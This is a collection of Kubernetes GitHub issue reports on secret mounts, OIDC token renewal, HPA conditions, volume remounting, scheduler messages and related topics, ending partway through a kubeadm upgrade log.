<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   bug report  :\r \r  \r   what happened  :\r \r mounting non-existent  data  objects from a  secrets  object into a container produces a directory at the mount point with 777 permissions. \r \r   what you expected to happen  :\r \r the pod to fail to start due to missing mounts from the secrets object.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the secret  data  object in question is  my-file  being mounted to  /secrets/my-file  within a container.\r \r apply the following configuration:\r \r    yaml\r ---\r apiversion: v1\r kind: namespace\r metadata:\r   name: test-delete-me\r ---\r apiversion: v1\r kind: secret\r metadata:\r   name: test-secrets\r   namespace: test-delete-me\r data: {}\r ---\r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: test-delete-me\r   namespace: test-delete-me\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: test-delete-me\r   template:\r     metadata:\r       labels:\r         app: test-delete-me\r       name: test-delete-me\r       namespace: test-delete-me\r     spec:\r       volumes:\r         - name: test-secrets\r           secret:\r             secretname: test-secrets\r             defaultmode: 0600\r       containers:\r         - name: nginx\r           image: nginx\r           volumemounts:\r             - name: test-secrets\r               readonly: true\r               mountpath: /secrets/my-file\r               subpath: my-file\r    \r \r then examine the files mounted within the container:\r \r    \r $ kubectl exec -it -n test-delete-me test-delete-me-<hash>-<hash> -- ls -l /secrets\r total 0\r drwxrwxrwt 2 root root 40 jun 25 22:04 my-file\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.10.5 \r - cloud provider or hardware configuration: aws vpc\r - os  e.g. from /etc/os-release : debian  jessie \r - kernel  e.g.  uname -a  :  4.4.0-1-amd64 \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r kurbernetes is setup with oidc for for authentication. the id provider is coreos dex. \r i am able to use the token to access the api before the token expired.however the token failed to renew because the kuber api server fails to make tls connection to the dex server. \r this is the error:\r ~$ kubectl  --kubeconfig=.kube/config.user cluster-info dump\r unable to connect to the server: get https://k8s-dex.its.unc.edu:32000/dex/.well-known/openid-configuration: x509: certificate signed by unknown authority\r \r both curl or openssl command can successfully make the tls connection:\r \r  openssl.connect.txt  https://github.com/kubernetes/kubernetes/files/2350403/openssl.connect.txt \r \r \r   what you expected to happen  :\r \r kubernetes api server can succefully make tls connection to the dex server and renew the token and thus users will be able to access the api server with the token.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1 get token with loginapp and dex\r 2  access the api with the token successfully with this command \  kubectl  --kubeconfig=.kube/config.user cluster-info\  \r 3  after token expires in one day, the same command fails with: \ x509: certificate signed by unknown authority\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r $ cat /etc/issue.net \r ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  :\r linux        4.4.0-124-generic  148-ubuntu smp wed may 2 13:00:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r 

as identified here by @wongma7  - https://github.com/kubernetes/kubernetes/issues/71570 issuecomment-452308387 \r \r we need to fix this e2e so as it does not uses events.\r \r  \r cc @jsafrane @msau42

kubectl should support a --dry-run option for every mutation to show what it would do, without actually doing it  we might need api changes in order to make this high-fidelity. for instance, if we wanted to know what a pod config would look like after admission control populated defaults, we'd need to execute most of the creation path.

a pod named \ abc-qmeza\  would be a convenience over  \ abc-lr74h\ . the naming code should perhaps use phonetic vowel based naming. this link does something similar: http://tools.arantius.com/password i can probably work on this if the suggestion is approved.

i modified the vpc that kubernetes was running in to no longer provide dns hostnames. then the check for externalid in the node controller failed which took down all the nodes in the cluster.  would it be ok to make this check more intelligent and less stringent on externalid? the cluster was perfectly healthy otherwise. perhaps there is a better way to check on the externalid for aws? it looks like the current check relies on private-dns-name instead of the instance id.   this is on 1.2 alpha 2.  mon, 19 oct 2015 21:44:21 -0700   mon, 19 oct 2015 21:45:03 -0700   9         ip-10-25-45-106.us-west-2.compute.internal   node                  deletingnode        {controllermanager }   node ip-10-25-45-106.us-west-2.compute.internal event: deleting node ip-10-25-45-106.us-west-2.compute.internal because it's not present according to cloud provider

right now when you get rs with  kubectl get rs , they're ordered alphabetically by their name. since most rs will be created by deployments, it'd be  <deployment-name>-<pod-template-hash>  and the order will be totally random. we should order them better, for example, by number of current replicas, and hide the ones with 0 replicas by default.   @kubernetes/kubectl @kubernetes/deployment

as agreed in  kubernetes monitoring architecture  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/monitoring_architecture.md  each kubernetes component should export its metrics using prometheus format. the metrics should follow  instrumentation best practises  https://github.com/kubernetes/community/blob/master/contributors/devel/instrumentation.md .\r \r the list of components:\r -  x  api server\r -  x  scheduler\r -  x  controller manager\r -  x  l7-lb-controller https://github.com/kubernetes/ingress/pull/346\r -  x  etcd\r -  x  cluster autoscaler\r -  x  rescheduler https://github.com/kubernetes/contrib/pull/2420\r -  x  kubelet\r -  x  kube-proxy  42104\r -  x  addons\r   -  x  dns\r   -  x  dashboard\r   -  x  heapster\r   -  x  l7-default-backend  issue https://github.com/kubernetes/ingress/issues/237 \r   -  x  fluentd  41567

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : docker validation\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r cos plan to use family gci-next-canary in container-vm-image-staging for future docker upgradation and validation. the properties file under test/e2e_node/jenkins/docker_validation/cos-docker-validation.properties should be changed for this.\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r i already have a pr. i just need to file a issue for it due to the new policy.\r

what happened  :\r wrong hpa condition - scalinglimited\r 1. i have one rc with 1 replica current have 1 pod \r 2. i have one hpa with spec.minreplicas=1 and spec.maxreplicas=10\r hpa condition scalinglimited is true and described by below, i expect scalinglimited=false at that time.\r    \r   scalinglimited    true    toofewreplicas        the desired replica count was less than the minimum replica count\r    \r \r   what you expected to happen  :\r i expect scalinglimited=false at above time\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start kubernetes with dns\r 2. start api server with --runtime-config=\ api/all=true\ \r 3. build binaries and images, deploy heapster, influxdb and grafana in kubernetes\r 4. create a rc\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   labels:\r     run: hello-hpa-cpu\r   name: hello-hpa-cpu\r spec:\r   replicas: 2\r   selector:\r     run: hello-hpa-cpu\r   template:\r     metadata:\r       labels:\r         run: hello-hpa-cpu\r     spec:\r       containers:\r       - image: docker.io/ocpqe/hello-hpa:latest\r         imagepullpolicy: ifnotpresent\r         name: hello-hpa\r         resources:\r           requests:\r             cpu: 200m\r       restartpolicy: always\r    \r 5. create a v2 hpa\r    \r apiversion: autoscaling/v2alpha1\r kind: horizontalpodautoscaler\r metadata:\r   name: hpa-resource-metrics-cpu\r spec:\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: replicationcontroller\r     name: hello-hpa-cpu\r   minreplicas: 2\r   maxreplicas: 10\r   metrics:\r   - type: resource\r     resource:\r       name: cpu\r       targetaverageutilization: 50\r    \r 6. check hpa conditions by  kubelet describe hpa \r    \r   kc describe hpa\r name:\t\t\t\t\t\t\thpa-resource-metrics-cpu\r namespace:\t\t\t\t\t\tdefault\r labels:\t\t\t\t\t\t\t<none>\r annotations:\t\t\t\t\t\t<none>\r creationtimestamp:\t\t\t\t\twed, 19 jul 2017 05:58:14 -0400\r reference:\t\t\t\t\t\treplicationcontroller/hello-hpa-cpu\r metrics:\t\t\t\t\t\t  current / target  \r   resource cpu on pods   as a percentage of request :\t0%  0  / 50%\r min replicas:\t\t\t\t\t\t1\r max replicas:\t\t\t\t\t\t10\r replicationcontroller pods:\t\t\t\t1 current / 1 desired\r conditions:\r   type\t\t\tstatus\treason\t\t\tmessage\r   ----\t\t\t------\t------\t\t\t-------\r   abletoscale\t\ttrue\treadyfornewscale\tthe last scale time was sufficiently old as to warrant a new scale\r   scalingactive\t\ttrue\tvalidmetricfound\tthe hpa was able to succesfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited\ttrue\ttoofewreplicas\t\tthe desired replica count was less than the minimum replica count\r    \r i expect scalinglimited of hpa conditions should be:\r    \r scalinglimited    false    desiredwithinrange    the desired replica count is within the acceptible range\r    \r \r   addition info  :\r    \r   kubelet get hpa\r name                       reference                             targets    minpods   maxpods   replicas   age\r hpa-resource-metrics-cpu   replicationcontroller/hello-hpa-cpu   0% / 50%   1         10        1          2m\r   kubelet get rc\r name            desired   current   ready     age\r hello-hpa-cpu   1         1         1         44s\r   kubelet get pod\r name                  ready     status    restarts   age\r hello-hpa-cpu-97qpb   1/1       running   0          49s\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r got two different failure scenarios:\r 1. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51281/pull-kubernetes-e2e-gce-gpu/1976/\r 2. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51281/pull-kubernetes-e2e-gce-gpu/1981/\r \r /cc @jiayingz @mindprince @vishh\r please reassign if the above is wrong. thanks!

\r  \r   what happened  :\r volumes used by pod are not getting mounted after rebooting a node. effects flexvolume/fc/iscsi volume types. pod goes into running state using local file system path.\r \r   what you expected to happen  \r volume should be mounted and pod should not go into running state if the volume fails to attach.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a rs with flexvolume/fc/iscsi. reboot the node. volume would not be mounted after reboot.\r \r   anything else we need to know?  :\r - kubelet on a process restart avoids remounting the volume. the same code path is used on a node reboot and it avoids remounting the volume.\r - gce, aws etc seems to be working by chance as the spec reconstruction fails when a volume is not mounted on reboot.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.9\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r  \r \r   what happened  :\r openstack's config drive is used as source of truth for instance metadata. config drive gets out of date pretty quick  as soon as the instance name is updated for example , this will result in an error when trying to start the kubelet service cause the name on the metadata  outdated now  won't match the openstack instance list.\r \r   what you expected to happen  :\r allow the user to disable the use of openstack's config drive as sole source of truth. in other words force a search on the metadata service. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. configure kubelet service to use openstack as the cloud provider\r 3.  nova boot --config-drive true --flavor ... --image ... --security-groups \ ...\  --key-name \ ...\  --nic net-id=... currentname \r 2.  nova update --name newname currentname \r 3. restart kubelet service\r \r   anything else we need to know?  :\r the restriction is on the order of these calls: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/metadata.go l146\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t17:03:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  :\r openstack\r - os  e.g. from /etc/os-release :\r  name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\  \r - kernel  e.g.  uname -a  :\r  linux 1b24f0b2-c15a-4c67-aef2-be6a0fe378fe 4.4.0-83-generic  106~14.04.1-ubuntu smp mon jun 26 18:10:19 utc 2017 x86_64 x86_64 x86_64 gnu/linux

   \r   what happened  :\r i created an unschedulable pod due to nodeselector only matching 1 node that happened to be \ nodeunschedulable\  because it was down:\r   2m\t\t59s\t\t8\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\t0/4 nodes are available: 1 insufficient cpu, 1 insufficient memory, 1 nodeunschedulable, 3 matchnodeselector.\r \r note that 3 of the items are \ negatives\   in sufficient cpu,  in sufficient memory,  un schedulable. yet the node selector one says \  match nodeselector\  which is incorrect, because 3 is actually the number of nodes that do  not  match the node selector.\r \r   what you expected to happen  :\r 3 unmatchednodeselector  ? \r \r   how to reproduce it  as minimally and precisely as possible   :\r schedule a node with a nodeselector set to something that no node has. you will see \ {total num nodes} matchnodeselector.\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use kubectl version : v1.10.0-alpha.1.110+3d652cae0391cf\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g. uname -a : linux kubernetes-minion-group-4vzp 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /area kubectl\r \r   what happened  :\r \r i have a custom resource type  aggregated apiserver  that sets the openapi fields for custom columns like so:\r    \r name                    ready     registered   shape            private_ip\r ad1-worker-pool-dj6p2   false     <none>       vm.standard1.1   10.73.0.142\r ad1-worker-pool-h8s89   false     <none>    vm.standard1.1   10.73.0.141\r ad1-worker-pool-ptjl8   false     <none>    vm.standard1.1\r    \r as you can see, the spacig is off for registered. i figured it might be a max size issue but looking around i see some columns that are larger like the following and they're displayed nicely.\r \r    \r name       status    roles     age       version   external-ip   os-image            kernel-version   container-runtime\r minikube   ready     <none>    7h        v1.8.0    <none>        buildroot 2017.02   4.9.13           docker://unknown\r     \r \r   what you expected to happen  :\r \r i expect the columns to be evenly spaced. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r create a custom resource that uses the openapi spec for displaying columns and make some columns larger in size. \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r

follow-up to  56761.\r \r suppose the kube-system namespace already exists.\r \r before admission webhooks, a post of kube-system would produce a 409 conflict error because it already existed. now, if an admission webhook would have blocked the request, users will see a 500 error instead.\r \r likewise for puts that disallow object creation, users will  with the right sort of webhook installed  observe a 500 instead of a 404.\r \r fundamentally this is because we run requests through the admission stack before any etcd gets are issued. should we change this, or just document the behavior change?

i am working on creating a federation with three clusters. the host cluster spin up but i am not able to init the federation successfully.\r \r    \r kubefed init inkubefed --host-cluster-context=default-context --dns-provider=\ coredns\  --dns-zone-name=\ example.com.\  --dns-provider-config=\ /root/coredns-provider.conf\ \r creating a namespace federation-system for federation system components... done\r creating federation control plane service...............................................................................\r ....................................................................... \r    \r the \ creating federation control place service step takes a lot of time and didn't stop loading unless i forced it\ \r \r the host cluster has 3 controllers and 2 workers and some egdes;\r \r i'm using coredns as dns provider : i followed exactly the instructions available here : https://kubernetes.io/docs/tasks/federation/set-up-coredns-provider-federation/ ; coredns and etcd operator are up and running ! nb : i have also a kubedns service running on my cluster\r    \r cat coredns-provider.conf \r  global \r etcd-endpoints = http://etcd-cluster.my-namespace:2379\r zones = example.com.\r coredns-endpoints = 172.16.1.12:30630\r    \r \r \r kubernetes version : 1.9.2 kubefed version : v1.9.0-alpha.3 any hints please where am i going wrong ? \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r \r i have a running cluster at v1.10.3 and i'm trying to upgrade to the latest v1.10.4. i did the followings:\r \r 1. downloaded kubeadm 1.10.3, ran  kubeadm upgrade apply v1.10.3  and it failed at upgrading control plane:\r \r    \r   ./kubeadm upgrade apply v1.10.3\r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade/version  you have chosen to change the cluster version to \ v1.10.3\ \r  upgrade/versions  cluster version: v1.10.3\r  upgrade/versions  kubeadm version: v1.10.3\r  upgrade/confirm  are you sure you want to proceed with the upgrade?  y/n : y\r  upgrade/prepull  will prepull images for components  kube-apiserver kube-controller-manager kube-scheduler \r  upgrade/apply  upgrading your static pod-hosted control plane to version \ v1.10.3\ ...\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 51358479c14e64a9640ae4b72dd708ce\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: 4bdaf7372f0ce1c98ba21d1f4da05dd0\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r  upgrade/staticpods  writing new static pod manifests to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests964558417\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests964558417/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests964558417/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/tmp/kubeadm-upgraded-manifests964558417/kube-scheduler.yaml\ \r  certificates  using the existing etcd/ca certificate and key.\r  certificates  using the existing apiserver-etcd-client certificate and key.\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-apiserver.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests823272316/kube-apiserver.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 51358479c14e64a9640ae4b72dd708ce\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 51358479c14e64a9640ae4b72dd708ce\r static pod: kube-apiserver-ip-10-0-1-80.ec2.internal hash: 49c1b4bdf1459464272a8580c8230f8d\r  apiclient  found 1 pods for label selector component=kube-apiserver\r  upgrade/staticpods  component \ kube-apiserver\  upgraded successfully!\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests823272316/kube-controller-manager.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: 4bdaf7372f0ce1c98ba21d1f4da05dd0\r static pod: kube-controller-manager-ip-10-0-1-80.ec2.internal hash: 22a57010f8944e4077060e1c92ca37ca\r  apiclient  found 1 pods for label selector component=kube-controller-manager\r  upgrade/staticpods  component \ kube-controller-manager\  upgraded successfully!\r  upgrade/staticpods  moved new manifest to \ /etc/kubernetes/manifests/kube-scheduler.yaml\  and backed up old manifest to \ /etc/kubernetes/tmp/kubeadm-backup-manifests823272316/kube-scheduler.yaml\ \r  upgrade/staticpods  waiting for the kubelet to restart the component\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: kube-scheduler-ip-10-0-1-80.ec2.internal hash: ea66a171667ec4aaf1b274428a42a7cf\r static pod: 